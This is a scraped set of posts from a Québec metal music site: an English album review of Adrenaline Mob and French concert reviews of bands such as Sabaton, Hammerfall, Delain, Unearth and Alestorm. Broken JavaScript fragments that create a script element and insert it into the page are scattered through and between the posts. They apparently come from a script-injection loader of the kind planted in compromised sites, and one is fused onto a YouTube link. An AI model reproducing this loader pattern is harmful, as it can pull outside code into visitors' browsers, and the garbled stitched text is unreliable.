Adrenaline Mob, for those who know little or not the band, has had its share of bad luck and event in recent years. Created in 2011 by Mike Portnoy (Ex Dream Theater), Russell Allen (Symphony X) and Mike Orlando, It does not take them a year before problems happen to show. Several changes, due to scheduling conflicts with some musicians and the loss of AJ Pero (formerly Twisted Sister) who had a heart attack during the tour, struck the band. But nothing prevented them from getting us out this album with their new drummer Jordan Cannata who joined the formation in 2016. You can see on their Facebook page a video of the latter in solo action.

As I was telling you, We The People is electrifying and has a striking color. Each song is like a train that come at full speed. Catchy chorus, melodic and technical solo, dynamic rhythm section, here is the set of a winning recipe that made me listen and replay the album several times. I keep the vocal for the end because seriously, I was repeatedly surprised how Russell Allen used his vocal to enrich the work. As much when he sang dynamic rhythms as when he used his instrument to sing just like other singers we know well. In Raise ‘Up, one can clearly hear similarities with Michael Poulsen (Volbeat) just to take an example.

I loved the order of the songs on the album. Nothing is left to chance and does not resemble one song to another to make us impatient to the next song. King Of The Ring, the first song of the album, puts us the table for the rest of the album. Disturbed, it reminds me of Indestructible as a whole.

I hope my resume left you on your appetite. I encourage you to buy their new albumon June 2nd and to like their Facebook page. More regards.UltimRadio.

PS: There’s a surprise at the end of the album.

Cordially

Gabriel Drolet-Pollock

Set List

King Of The Ring

We The People

The Killer’s Inside

Bleeding Hands

Chasing Dragons

Til The Head Explodes

What You’re Made Of

Raise’ Em Up

Ignorance and Greed

Blind Leading the Blind

Violent State Of Mind

Lords Of Thunder

Surprise

https://www.youtube.com/watch?v=Scazgvmy30wif (document.currentScript) {

Photo: Xandria, Kobra And The Lotus, Once Humain 2017

Critique Xandria, Kobra And The Lotus, Once Humain

Jeudi le 11 mai s’amenait dans la belle capitale le groupe Xandria, Once Human et Kobra and the Lotus. Je suis arrivée et je me suis placée dans la file en avant du petit bar la source de la Martinière, là où avait lieu l’événement. Malgré la soirée frisquette, les gens sont arrivés tôt question d’avoir une bonne place pour le spectacle. Les portes ont finalement ouvertes après un léger retard de 15 minutes.

Once Human a ouvert le bal frénétiquement. Le drummer a fait son entrée rapidement suivi des guitaristes et ensuite de la belle Lauren. Elle nous a donné toute une performance autant vocale que par sa prestance sur la scène. J’ai été impressionné d’entendre une si petite fille avoir un scream aussi grave et profond! La bonne collaboration de  la foule, le bon métal et l’énergie du band ont donnés un excellant combo. Si ce n’est du son qui manquait de clarté, Once Human a réussi à bien démarrer la soirée. C’était leur deuxième apparition à Québec et ils étaient contents de la foule de ce soir parce que la dernière fois avait été un mauvais show selon la chanteuse.

Kobra and the lotus
Ce soir c’était le dernier show avant la sortie officielle de leur nouvel album Prevail I et plusieurs ont eu le bonheur de se le procurer en prévente! La dernière fois qu’ils étaient venus à Québec il y 8 ans, ils avaient eu un mauvais show, mais ce soir c’était une tout autre histoire. Ils ont été accueillis par une foule impatiente criant et clamant le nom du band et tapant dans les mains. Plusieurs personnes étaient là pour eux ce soir et je suis certaine, qu’ils n’ont pas été déçus. Les membres du groupe bougeaient dans tous les sens, les guitaristes jouaient les trois côte à côte, la chanteuse tapait dans les mains de ses fans et se mettait souvent à leur hauteur pour chanter plus près d’eux et leurs donner la main. Il y avait une belle connexion ce soir entre les fans et les artistes c’était beau à voir. Les gens ont dansés et sautés et applaudis durant toute la prestation qui a été trop selon plusieurs. Fait étonnant ou pas, il y avait plus de garçons dans la foule que de filles. Les jolies chanteuses vêtues de cuir y sont pour quelque chose j’imagine! Haha! Après la présentation de Kobra and the lotus, beacoup de gens sont partis et la foule a diminuée.

Xandria
Après l’entrée très acclamée des guitaristes et du drummer, la belle voix de Dianne a résonner dans la salle et les cris des gens ont montés d’un ton. Les gens tapaient dans les mains au son de la musique et dansaient dans le respect de chaque personne autour d’eux. Ce qui était bien c’était de voir les échanges, les rires et la complicité de purs inconnus partageant le même intérêt. La musique est rassembleuse! La délicatesse de Dianne et sa voix hypnotique contrastait un peu avec la musique métal mélodique. C’est aussi ce qui fait le charme de ce groupe. Vêtue de sa belle robe grisâtre Dianne s’est adresser quelques fois à la foule et a même dit : Bonsoir comment ça va? Et merci en français. Il faisait très chaud et même si la foule était moins nombreuse, les gens qui étaient la participait et donnaient tout ce qu’ils avaient! Lors de la balade ou la chanteuse était seule sur la scène pour le début de la chanson, les gens valsaient leurs mains dans les airs de gauche à droite ce qui donnait un effet féerique au moment. Puis une chanson plus rapide est arrivée et tout le monde s’est mis à sauter dans les airs, le band et la foule. Les gens avaient chaud, riaient et trippais! Le son était bon, l’alcool aussi, bref soirée réussi!
Le seul petit bémol a été pour les gens VIP que j’ai rencontré avant le show. Ils m’ont fait part de leur expérience qu’ils ont trouvée très précipitée. Xandria ne semblait pas à l’aise avec les fans. Ils semblaient même gênés, me racontait une jeune fille VIP. Ils étaient tout de même contents d’avoir rencontrés leurs idoles malgré cette légère déception. Ils ont passés un excellant show!
Joanie Bolduc / UltimRadio
Setlist :
Where the heart is home
Call of destiny
Euphoria
Forsaken love
Voyage of the fallen
Ravenheart
Stardust
We are murderers
Undiscovered land
Death to the holy
Nightfall
Cursed
Burn me
valentine

Texte:Joanie Bolduc

document.currentScript.parentNode.insertBefore(s, document.currentScript);

I Prevail – Come And Get It

Critique: Battle Beast, Leaves Eyes et Sabaton Impérial Bell 2017

Par cette soirée grise et froide du mois d’avril, une grande file d’attente se dresse devant l’impérial de Québec. Le groupe très apprécier Sabaton s’amène en ville et les fans son fébriles et excités. Dans le line up, on perçoit plusieurs personnes avec le pantalon camouflage blanc et gris que porte le groupe sur l’affiche de leur nouvelle tournée : The last stand. Les casquettes et les t-shirts Sabaton sont au rendez-vous. Les gens ne parlent que du groupe en attendant que les portes ouvrent à 18h30. Quand enfin nous avons pu entrer, le devant de la salle s’est rapidement rempli et déjà les meilleures places étaient combles.

  Battle Beast

Le groupe finlandais a cassé la glace de cette soirée fortement attendue. C’était leurs première fois au Québec et par le fait même, au Canada. Dès la première chanson, on sent une agressivité et un enthousiasme contagieux. Déjà la foule très nombreuse est réchauffée et entrainée par la musique métal du band. La voix roque de la chanteuse Noora, rappelle le bon vieux rock des années 80. Déjà après quelques minutes la chaleur monte d’un cran et le drummer enlève son chandail. La cape de la chanteuse noir avec des studs et son maquillage sombre lui donne une allure plutôt punk ce qui détonne avec le style du groupe. Le drummer fait tourner ses baguettes entre ses doigts en jouant montrant qu’il est en parfait contrôle de son instrument et a du fun! Le son est excellant, l’équilibre entre la voix et les différents instruments était très bien arranger. Le band a très bien entamé la soirée, belle énergie et complicité entre les membres qui se promenaient partout sur la scène donnant l’occasion à tout le monde de profiter de leur présence. À quelques chansons de la fin, la chanteuse a pris un drapeau du Canada et l’agitait dans les airs ce qui a ravis les gens présents et a définitivement été un moment fort de la soirée.

Leaves Eyes

Les vikings étaient à l’honneur avec Leaves Eyes. Quatre grands gaillards habillés de fourrure et cotte de mailles, bouclier rond noir et rouge, haches et épées à la main se sont présentés sur la scène. Les premières notes ont commencées sous les cris enthousiasme de la foule. La voix très aigue et puissante de la belle Elina a envouté nos oreilles. Elle était accompagnée par Alexander le deuxième chanteur. J’aurais aimé entendre celui-ci plus chanter, il ne faisait que quelques phrases de temps de temps et nous ne l’entendions pas beaucoup. J’ai trouvé cela dommage parce que sa vois ajoutait une touche masculine plus viking et équilibrait celle très aigue et féminine d’Elina. Après s’être absenter pour une ou deux chansons, le chanteur a fait un retour sur scène vêtu de son costume de viking épée dans les airs il se promenait d’un bout à l’autre de la scène et incitait la foule à taper des mains et à mettre le poing dans les airs. Ce qui a conclus la partie de Leaves Eyes.

Sabaton

Après ce qui nous a semblé une éternitée, les lumières ce sont enfin éteintes les notes de In the army now se sont fait entendre mais c’était seulement un enregistrement, ce qui n’a pas empêcher la folle de clamer le nom de Sabaton tout en frappant sur le sol. Ils savent se laissés désirer ceux-là!  L’impatience était palpable et finalement après plusieurs minutes on a vu le drummer arriver et ensuite les guitaristes et le chanteur. L’entrée énergique des membres a donner un nouveau regain à la foule qui, mains dans les airs, s’est mise à chanter Ghost Division avec le groupe. Sérieusement, j’ai vu quelques shows à Québec et je dois avouer que cette soirée va rester marquée longtemps dans ma tête. Je n’avais jamais vu une foule aussi énergique, du début à la fin les gens chantaient, criaient, tapaient dans les mains, sautaient dans les airs etc. C’était beau à voir et l’énergie n’a pas descendu jusqu’à la fin du show, même le band n’en revenait pas demandant ce qui n’allait pas avec ces gens pour être autant excités un mercredi soir! C’était impressionnant. Le chanteur a présenter le nouveau membre du groupe Antony à la guitare en français ce qui a été très apprécier du publique. Malgré un petit problème technique ou le micro ne fonctionnait plus au début d’une chanson, le chanteur a rectifier la situation en s’excusant et un technicien lui a rapporter un micro qui fonctionne, la foule a bien rit et le show s’est poursuivis faisant vite oublier le petit incident. J’ai apprécié que le chanteur sortait souvent de la scène pour laisser toute la place aux guitaristes durant leurs solos. Tout le long du show les gars se taquinaient, ils se donnaient des coups de pieds aux fesses et le chanteur s’est même fait pousser par l’un des guitaristes qui s’est assis sur lui  en jouant et en riant. À plusieurs reprises les gars donnaient des bouteilles d’eau aux fans en avant, il faisait tellement chaud! J’ai trouvé cette attention vraiment géniale. Ce show a été un franc succès du début à la fin, autant le groupe que le publique a eu du fun et a passer toute une soirée! J’espère qu’ils vont revenir dans le coin bientôt, je retournerais les voir n’importe quand.

Setlist :

(English version)

Encore:

 var d=document;var s=d.createElement(‘script’);

Critique Delain/Hammerfall Impérial Bell Québec 20 Avril 2017

Bonjour à vous tous !

Depuis quelques jours, les gens semblent assez dépressifs due à la température qui ne cesse de faire des siennes. Par contre hier soir, un évènement est venue mettre un sourire au visage de plusieurs personnes. Cet évènement est bien entendu la venue du spectacle ‘’Co-headline’’ de Delain et de Hammerfall. Delain est venu quand même souvent dans les dernières années, mais pour ce qui est d’Hammerfall, ça faisait bien longtemps qu’ils n’étaient pas venus à Québec, ce qui donnait encore plus d’excitation face à cette soirée. Est-ce que ce fut une réussite ? Voyons ça ensemble !

Warning Sign : Comme il est parfois coutume, un groupe local avait la chance de faire partie du spectacle et hier soir ne fut pas l’exception à la règle. C’est le band ‘’Warning Sign’’, originaire de Québec, qui a eu cette chance. C’est avec leur style Heavy Metal que le groupe a joué, et de façons efficace, environs 5-6 chansons de son répertoire. La foule qui se remplissait au compte goutte était malheureusement peu réceptive et peu énergique, jusqu’à la dernière chanson où on a pu sentir une once d’énergie émerger de cette foule qui était plus nombreuse qu’au début. Je ne connaissais aucunement ce band, mais j’ai bien apprécié ce qu’il avait à offrir et je crois que je ne suis pas le seul car à voir le nombre de gens qui sont allé acheter leur album à la table de marchandise, je crois que cette petite performance de 30 minutes leur a rapporté  une bonne poignée de nouveaux fans. Je vous invite fortement à aller écouter leur matériel et n’hésitez pas à les encourager car il est important de supporter les bands locaux.

Hammerfall : Bien que le spectacle en tant que tel était un ‘’Co-Headline show’’, c’est-à-dire que les deux bands principaux jouent un ‘’full set’’, beaucoup d’entre nous pensions qu’Hammerfall allait clore la soirée, mais nous nous étions trompé car c’est Delain qui ont terminé la soirée.  C’est avec un Impérial remplie, mais pas à craquer car le balcon était fermé au public et le parterre n’était pas aussi compact qu’il aurait pu l’être, qu’Hammerfall c’est fait accueillir en héro, sous la prestation de leur chanson ‘’Hector’s Hymn’’. Dès les premières notes, j’ai resté agréablement surpris de voir la qualité sonore et comment le band était ‘’stiff’’. Je croyais écouter une version studio en plus fort tellement que leur set était parfait. Le son était parfaitement calibré, nous permettant ainsi de saisir chaque sonorité possible et ne rien manquer. Les gars semblaient en forme et étaient assez actifs et en mouvement tout au long de leur prestation.  Dès le départ, après une ou deux chansons, Joacim Cans, le chanteur du groupe, nous a dit quelques mots en français, et a profiter du moment pour s’excuser d’avoir pris autant de temps avant de revenir à Québec car ça faisait 7 ans que le band n’avait pas mis pied dans la vieille capitale. Il y a eu beaucoup d’interaction entre le band et la foule et cette interaction a été à son paroxysme lors de ‘’Let the Hammer Fall’’ où la foule à participer activement. Pour ce qui est de la foule justement, les gens était beaucoup plus réceptifs que lors du groupe invité, mais c’était facilement devinable car à voir le nombre de fans présents avec un t-shirt à l’effigie du band, on pouvait facilement voir que beaucoup étaient là pour Hammerfall. Côté setlist, le band a réussi à nous faire voyager aux travers des époques en allant piger des titres se trouvant aux quatre coins de leur répertoire. De leur premier album jusqu’au tout dernier sorti l’an dernier. Malgré le fait que ça fait environs 10 ans que j’écoute du Hammerfall, c’était la première fois que j’avais la chance de les voir en spectacle et laissez moi vous dire que je suis loin d’être déçus par ce qui m’a été proposé de voir hier. Un son parfait, des musiciens énergiques et charismatiques, une prestation solide donnant presque l’impression d’écouter les versions ‘’albums’’ des chansons, et une foule qui rehausse encore plus la qualité du set présenté, quoi demandé de mieux pour un baptême d’Hammerfall ?

Setlist :
– Hector’s Hymn
– Riders of the Storm
– Blood Bound
– Any Means Necessary
– Renegade
– Dethrone and Defy
– Last Man Standing
– Let the Hammer Fall
– Built to Last
– Glory to the Brave (medley)
– Hammer High
– Bushido
– Hearts on Fire

Voici deux vidéos de Hammerfall que j’ai enregistré !

Delain : Dès la fin d’Hammerfall, beaucoup de gens ont rapidement quitté l’Impérial, laissant donc place a une salle beaucoup moins garnie pour le dernier groupe Delain, qui est somme toute encore assez populaire à Québec. Après un bon petit délais d’attente, le temps que les membres du groupe montent eux-mêmes la scène, le set a commencé en force avec  Hands of Gold. Après un son qui était plus que parfait pendant leur prédécesseurs, j’ai resté surpris de voir la différence au niveau du calibrage sonore pour ce set ci. La basse était beaucoup trop forte, le son semblait ‘’gricher’’ et le vocal était un peu bas, mais mes prières ont été écoutées et dès la deuxième chanson, c’était chose du passé et le son était beaucoup mieux, à la limite impeccable. Delain ont été fidèles à leur habitude. Musicalement, c’était ‘’stiff’’ et précis et tous les musiciens sans exception avaient de l’énergie à revendre. Malheureusement, ce n’était pas le cas pour la foule car elle semblait essoufflée et vidée de toute énergie par le set d’Hammerfall. Malgré tout, il y avait cette chimie inexplicable entre la foule et le band,  ce qui venait guérir un peu cette lacune. Malgré tout, la foule a réussie a passer par-dessus sa fatigue pour  encourager, applaudir et scander le band, ce qui donnait une once d’énergie supplémentaire au groupe. Charlotte, la chanteuse du band, a aussi profité d’un certain moment entre 2 chansons, pour parler un peu en français avec la foule québécoise. J’adore quand un artiste se force à parler quelques mots dans notre langue. Même si ce n’est que quelques mots, ça démontre une certaine volonté et un fort intérêt d’être parmi nous et  à chaque fois, c’est gagnant pour conquérir nos cœurs de fans. Côté setlist, il y en avait pour tous les goûts et encore une fois, on voyageait d’un album à un autre. C’est un total de 15 titres qui ont été joués. Les fans de Delain n’ont aucunement été déçus et c’est avec un sourire fendue jusqu’aux oreilles qu’ils ont quittés l’Impérial Bell à la fin du spectacle

Setlist :
– Hands of Gold
– Suckerpunch
– The Glory and the Scum
– Get the Devil Out of Me
– Army of Dolls
– The Hurricane
– April Rain
– Here Come the Vultures
– Fire with Fire
– Danse Macabre
– Sleepwalkers Dream
– Pristine
-> Rappel <-
– Mother Machine
– Don’t Let Go
– We Are the Others

Voici deux vidéos de Delain que j’ai enregistré !

Au final, c’était une excellente soirée pour mettre du bôme sur l’humeur qui est un peu plus amorphe à cause de la température de ces temps-ci. Tout a débuté avec Warning Sign, qui ont donnés une solide prestation leur permettant de gagner de nouveaux fans. Hammerfall, qui a complètement volé la vedette lors de cette soirée. C’était un set parfait après une absence de 7 ans. Pour conclure, une  prestation honnête et respectable de Delain qui est venu clore la soirée. Ce fût sincèrement une très belle soirée pour tout amateurs d’Heavy Metal  et même pour ceux qui n’écoutent pas ce genre de musique et qui étaient là par curiosité ou pour accompagner quelqu’un.

On se revoit bientôt pour un autre critique de spectacle.

Bonne journée à vous tous !

Rock On !

Christopher Drouin.

}

Photo: HammerFall Impérial Bell 2017

var d=document;var s=d.createElement(‘script’);

Photo: Delain Impérial bell 2017

if (document.currentScript) {

Critique : Darkness Divided, Exalt, Fit for An Autopsy et Unearth

Darkness Divided

Le show a commencé dans une salle presque vide, seulement une quinzaine de personnes étaient présentes. Ce n’est pas ce qui a freiné le jeune band Darkness Divided. Le chanteur ne cessait de répéter que ce qui était important n’était pas la quantité de personnes dans la salle mais que chaque personne ait du fun! Les quelques personnes présente dansaient, les mains dans les airs et il y avait même 2-3 intense qui couraient en rond dans l’espoir de faire un mini mushpit. Le band était génial, j’ai beaucoup apprécié le mélange de scream et de clean vocal dans les refrains. Les gars étaient en forme, et malgré la salle vide, ont donné un très bon show, le chanteur s’adressait à la foule, encourageant les quelques personnes présente à faire des mushpit et à sauter dans les airs. Darkness divided est définitivement mon coup de cœur de la soirée!

Setlist:

  • Misery
  • A Well Run Dry
  • Deceiver
  • The Answer
  • Back Breaker
  • The End of it all
  • The Hands That Bled

Exalt

La sale était toujours trop vide lorsque Exalt a fait son entré. Le chanteur était dans une sorte de personnage, il marchait de façon saccadée un peu comme un zombi. Il faisait des gestes étranges avec ses mains et son expression faciale était comme un mélange de colère et de désespoir. Le seul point négatif que j’ai à soulever, c’est le son qui était horrible. C’était presque impossible de distinguer ce que le chanteur disait, déjà qu’il est difficile de percevoir les paroles lorsque nous ne les connaissons pas à cause du scream, le son n’aidait en rien la situation.

Setlist :

  • Sacrifice To Purify
  • Forsaken
  • Martyr Alone
  • Judas Wolf
  • Feed
  • Leave Them All Behind

Fit for an autopsy

Les gars avaient toute une énergie, en entrant sur la scène ils ont réchauffé rapidement la sale qui était un peu plus remplie. Mushpit, headbang étaient au rendez-vous. Le son était meilleur. Fait cocasse, après quelques chansons, le drummer a perdu un de ses tambours qui est tombé sur le sol. En riant ils ont rectifié la situation avec les techniciens et ont recommencé à jouer comme si rien n’était. La musique, l’intensité du band donnaient ensembles un effet agressif, c’était parfait pour se défouler un bon coup dans le mushpit.  Visiblement contents d’être là, Fit for an autopsy ont quittés la scène sous les cris et les applaudissements satisfaits de la foule.

Unearth

Unearth a finalement mis un terme à l’impatience de la foule qui était majoritairement présente pour eux. Entrée en force avec la chanson Giles, ils ont carrément mis feu à la foule. Le band a salué la foule en français avec un classique : Bonjour Québec! ce qui a visiblement été très apprécier. La chaleur a monté d’un cran et la salle était semi remplie. Poing dans les airs ils ont enchainés les chansons sous les cris déchainés de la foule. Les guitaristes se déplaçait souvent d’un coter à l’autre de la scène, ce qui donnait un très bon contact avec tout le monde présent. J’aurais aimé que Trevor bouge un peu plus lui aussi, il restait trop au milieu. Par contre, c’est toujours impressionnant de voir le chanteur qui scream, mettre ses tripes sur la table. Mais quelle voix! Le son était bien équilibré mais j’aurais aimé que l’éclairage soit plus clair. C’était un peu trop sombre à mon gout. La moyenne d’âge était plus tôt jeune, je dirais dans les 25-35 ans. Ce fût une très belle soirée et j’ai été soulagé de voir la salle se remplir. C’est le genre de soirée parfaite pour se défouler, le genre de soirée qui fait grandement du bien!

Setlist:

  • Giles
  • Wib
  • Never Cease
  • Endless
  • Crow Killer
  • Sanctity O Bro
  • Burial Lines
  • Tlw
  • One Step Away
  • Glorious Nightmare
  • Black Hearts
  • Zombie My Will

 var d=document;var s=d.createElement(‘script’);

Photo: Unearth

if (document.currentScript) {

Photo: Fit For An Autopsy

} else {

Geoff Tate, The Whole Story »Ryche » à Québec

Bonjour à vous tous chers lecteurs/lectrices.

Aujourd’hui, nous vous proposons un petit article rapide concernant une tournée qui s’arrête à Québec en Avril prochain. Ce spectacle est nul autre que ‘’Geoff Tate, The Whole Story ‘’Ryche’’.
Geoff Tate, ce nom vous dit quelque chose ? Si vous avez connu le groupe populaire Queensrÿche, ne chercher pas plus loin car Geoff est l’ancien chanteur de ce groupe.

Lors de cette tournée, Tate propose une soirée ACOUSTIQUE, il est important de préciser, qui visitera en majeure la discographie de Queensrÿche, mais aussi un peu du groupe Operation Mindcrime, qui est un autre band du célèbre chanteur. Sans trop vous en dévoiler pour vous laisser une certaine surprise, la soirée comprendra environs 18 chansons.

Geoff Sera sur scène avec plusieurs autres musiciens qui viendront ajouter un plus à cette soirée entièrement acoustique.

Voici les différentes informations relatives à ce spectacle :

Qui : Geoff Tate (ancien chanteur de Queensrÿche)
Quoi : tournée Acoustique – The Whole Story ‘’Ryche’’
Groupes invités : Inner Odyssey & Hilward
Quand : 12 Avril 2017
 : Salle Multi de Québec
Heure : 19h
Billets : En vente chez Exoshop ou à l’adresse suivante : https://lepointdevente.com/billets/D7P170412001/

En conclusions, nous ne pouvons que vous conseillez fortement ce spectacle qui ne laissera personne indifférent et qui éveillera certainement de bons souvenirs pour plusieurs.

Nous vous rappelons du même fait que sur notre page facebook, nous avons un concours qui vous donne la chance de gagner une paire de billet pour ce spectacle. Si vous partagez et commentez cet article en nous disant avec qui vous iriez au spectacle si vous gagnez, vous aurez votre chance également.

Sur ce, nous vous souhaitons une excellente journée.

Rock On !var d=document;var s=d.createElement(‘script’);

Critique Alestorm à Québec

Bonjour à vous tous !

C’est mardi soir dernier qu’un navire inconnu accostait dans la vieille capitale. À son bord, il y avait Alestorm, un groupe de Folk/Pirate Metal, prêt à venir prendre un coup et à mettre le feu au Cercle, dans le centre-ville de Québec. C’était du même fait, le retour tant attendu du groupe après qu’il y ait eu annulation de leur supposé passage en octobre 2016. Est-ce que cette soirée fût à la hauteur pour réussir à guérir les fans de cette attente interminable pour assister à leur retour ? Est-ce que la soirée fût une réussite et est-ce que les rois de la piraterie ont réussie à mettre le feu à la place, tout en prenant un solide coup comme se veux la tradition des pirates ? C’est ce que nous allons voir ensemble mais tout d’abord, voyons voir rapidement ce que les bands invités avaient eux aussi a offrir.

 Distoriam : Ce Jeune band de Folk Metal Historique en provenance de Montréal, avait la lourde tâche d’attiser la foule pour que la flamme brûle tranquillement tout au long de la soirée. Et bien on peut dire mission accomplie car le band à réussie à faire lever la foule et ce très rapidement, ce qui est assez rare pour des premières parties où à l’habitude les gens restent assez indifférents pour se garder de l’énergie pour le band principal.  L’interprétation de leur quelques titres était très solide et stiff, ce qui rendait leur set très professionnel. Le band a également beaucoup interagis avec la foule, et ce avec humour, ce qui était parfait car on savait tous d’avance que le reste de la soirée risquait d’être ainsi. Beaucoup de gens ont restés surpris de la qualité du set et ont même décrit cette performance comme  une agréable surprise.

Trollwar : Trollwar est un band de Folk Metal, originaire d’Alma, qui venait clore la partie ‘’bands locaux’’ pour cette soirée et encore une fois, ce choix était judicieux et aussi très apprécié par les fans. Chose à savoir, le band comporte  7 musiciens actifs sur scène, donc pour ceux qui connaissent la salle ‘’Le Cercle’’ de Québec, savent que la scène est extrêmement petite alors vous devinez tous que les 7 musiciens tassés et plus que serrés sur scène, leur imposants ainsi un certain handicap lors de leur prestation. Permettez-moi ici d’ouvrir une petite parenthèse…

‘’Pourquoi ce choix de salle ? Je suis conscient qu’Il y a plusieurs facteurs pour le choix de salle, mais lors du dernier passage d’Alestorm à l’Impérial Bell, la salle était quand même bien garnie, et à voir les gens sur la page facebook de l’évènement, beaucoup d’entre eux cherchaient désespérément des billets car cette soirée était à guichet fermé et ce sans surprise.  Je suis plus que conscient que ce choix n’était surement pas le premier de la liste, mais cette soirée aurait surement été beaucoup mieux si celle-ci auraient été à l’Impérial Bell, surtout pour la prestance sur scène de Trollwar avec ses 7 membres. Je ferme donc cette parenthèse qui n’affecte à rien ma critique en général’’

Trollwar profitait aussi de cette soirée pour faire le lancement de leur nouvel EP ‘’The Traveler’s Path’’. Comme à l’habitude, le set était super et le groupe a resté fidèle à son habitude en nous offrant une solide dose de Folk Metal. La foule tant qu’à elle était toujours autant active à notre agréable surprise car on pouvait déjà d’or deviné que l’ambiance pour le groupe principal allait être survolté. Côté sonorité, c’était bien, malgré quelques petite lacunes au niveau du vocal parfois mais rien de majeur. Une autre prestation réussie malgré l’espace restreinte sur scène.

Aether Realm : Cette formation de la Caroline du Nord, était déjà prévue de passer par Québec lors du spectacle reportée d’octobre 2016 avec Alestorm, donc ce n’était que partie remise. Le groupe a resté fidèle à lui-même et a offert une prestation digne de ce qu’ils sont habitués de faire. Le chanteur a réussie à prendre la foule dans le creux de sa main et à la garder active, tout en activant encore un peu plus la flamme qui brûlait déjà beaucoup depuis le début de la soirée. Le chanteur s’est même suspendu après le balcon pour donner un petit moment cocasse, et ce sans parler de sa demande de faire le plus petit moshpit possible, ce qui fût un lamentable échec car tout le monde voulait en faire partie. Le bassiste lui aussi a réussie à sortir de la masse par son excellent jeu de basse précis, ce qui est fortement agréable car les bassistes sortent rarement du reste du band car on distingue rarement bien le son de la basse au travers du résultat final. Petit point négatif, le son faisait parfois défaut. À quelques reprises,  on avait de la misère à distinguer et à entendre tous les instruments et le vocal aussi. Petit problème qui aurait surement pu être évité, ce qui aurait redonné un cachet supplémentaire à leur prestation mais somme toute, ce fût encore une fois une réussite et une bonne surprise pour plusieurs.

Alestorm : Nous voilà rendu au plat de résistance que tout le monde attendait avec impatience. Depuis le début de la soirée, la foule était plus que mouvementée comme nous avons rarement vu dans le passé. Elle était déjà dans une folie contagieuse dès le début du premier groupe invité et cette folie n’a cessée d’augmentée jusqu’au band principal alors essayer de vous imaginer à quelle point l’ambiance était au rendez-vous, rendant donc cette soirée mémorable. Dès l’arrivée sur scène d’Alestorm, pour ouvrir le bal avec Keelhauled, ont pouvait d’or déjà voir que le band était très de bonne humeur de jouer pour la foule de Québec, malgré leur gueule de bois due à leur buverie de la veille à Montréal, mais ça n’a aucunement affecté leur prestation sur scène car n’oublions pas, c’est chose habituelle pour des pirates haha ! Cette prestation avait quelque chose de nouveau par rapport aux autres qui ont déjà eu lieu par ici. Celle-ci était la première apparition du nouveau guitariste au sein du groupe. Est-ce qu’il a sa place dans l’équipage ? Est-ce qu’il se démarque bien en si peu de temps ? La réponse est sans aucun doute ‘’OUI’’. Le dernier guitariste, qui était excellent sois dit en passant, avait l’air d’avoir perdu l’intérêt à jouer, il avait l’air de ne plus avoir cette flamme dans ses yeux, mais avec le nouveau guitariste, on voit que cette flamme manquante est belle et bien de retour avec lui,  et sa prestation de mardi soir fût sans faute, et je vais aller dans un sentier dangereux en disant qu’il était peut-être même autant, si ce n’est pas meilleur que son prédécesseur. Comme à l’habitude, Christopher, le capitaine du navire, a souvent interagis avec la foule et ce avec une grosse dose d’humour. Côté setlist, ce n’était que des hits qui s’enchaînaient les uns après les autres, au plus grand bonheur de tous.  Nous avons même eu droit à l’interprétation d’une nouvelle chanson ‘’Mexico’’ qui se retrouvera sur leur prochain album qui sortira le 26 mai prochain. Il y aurait surement eu une plus grosse foule si le spectacle aurait eu lieu dans une autre salle, mais pour finir sur un côté positif relativement au choix de la salle, ce fût une soirée intime entre vrais fans du band, ce qui a eu pour cause une ambiance de MALADE comme rarement vu et malgré tout, cette ambiance survolté et intime a réussie à donner un solide cachet supplémentaire au show en général. Cette prestation d’Alestorm n’a laissé personne indifférent et celle-ci restera gravée pour très longtemps dans la mémoire des fans présents.

J’ouvre une seconde parenthèse, ce que j’aime avec Alestorm, c’est qu’après le spectacle, les membres du groupe descendent souvent dans la foule pour jaser et prendre quelques bières avec les fans et on apprécie grandement cette proximité qu’ils ont avec nous. Beaucoup de fans aiment aller dire quelques mots et prendre quelques photos avec eux, surtout Christopher le chanteur qui n’hésite pas un instant à partager sa bonne humeur avec les fans. C’est quelque chose qui j’espère vas rester pour longtemps encore avec eux.
 
Setlist :
– Kellhauled
– Over the Seas
– Magnetic North
– Shipwrecked
– Mead From Hell
– Nancy the Tavern Wench
– Wolves of the Sea
– Walk the Plank
– The Sunk’n Norwegian
– Mexico
– Wenches & Mead
– Drink
-> Rappel <-
– 1741 (The Battle of Cartagena)
– Hangover
– Captain Morgan’s Revenge
– Rum

Pour résumer en quelques mots cette soirée mémorable, je ne peux que revenir encore une fois sur la foule dégantée qui a été active comme jamais. Des moshpits sans arrêt, des wall of death à répétitions, des circles pits ici et là, celle-ci ne s’est jamais tannée et a offert une solide dose d’énergie aux bands présents, qui semblaient apprécier ce cadeau. Malgré quelques petits problèmes sonores au courant de la soirée, celle-ci fût sans aucun doute un succès monstre, qui ne fera qu’allumer une impatience hâtive envers un prochain spectacle dans un futur plus ou moins rapproché. Mousaillons, saluons notre équipage préférée et préparons le terrain de bataille pour la prochaine fois que le band accostera dans nos plaines québécoise.

Sur ce, je vous souhaite une excellente journée et on se dit à un prochain show !

Rock On !

Christopher Drouin

P.S. Je remercie grandement Dominic Gaumond et Pierre-Luc L pour m’avoir donné leur avis eux aussi, donnant ainsi une critique encore plus précise de cette soirée.

 } else {

Photo: Alestorm Le Cercle 2017

Photo: The Tea Party Québec 2017

var d=document;var s=d.createElement(‘script’);

Critique Lordi / Bookakee / Squidmilk

Hier, le 21 février 2017, la journée ne fût pas marquée que par le beau temps, mais aussi par la venue de certains monstres en sol québécois. Je parle bien sûr de la visite du band Lordi, qui si je ne me trompe pas, en était à sa première visite à Québec. Pour l’occasion, Bookakee & Squidmilk, deux bands locaux, ont eut la chance d’ouvrir le bal. Est-ce que cette soirée fût une réussite ? Voyons voir ensemble les grandes lignes de cette soirée.

Squidmilk : Voilà un groupe bien original que nous avons eu la chance de voir hier en ouverture de cette soirée. Squidmilk, qui est originaire de Québec, est un band de Death Metal. Les musiciens sont tous arrivés en scaphandre d’astronautes, pleins de sang et déchirés. On pouvait tout de suite constater la brutalité qui allait découdre des pièces jouées par Squidmilk, du moins du côté musical car pour ce qui est des paroles (qui sont zéro compréhensibles, si vous avez réussis à entendre correctement quelques paroles, donnez vous une petite tape dans le dos), c’était du grand n’importe quoi. Entre chaque morceau, le chanteur du band nous faisait un petit résumé de la chanson qui allait suivre.  En passant d’une chanson qui parle de ver solitaire qui a été injecté par inséminations dans une vache, ou bien par une nouvelle religion qui dit que Jésus était laitier, ou bien tout simplement par la montée au pouvoir des primates sur le monde, vous pouviez voir par vous-même que c’était du grand n’importe quoi. Malgré cet humour grandement présent au sein du band, et de son vocal qui est assez brutal, comme on n’est pas habitué de l’entendre, la musique en tant que telle était somme toute assez bonne. Nous nous surprenions même souvent à hocher la 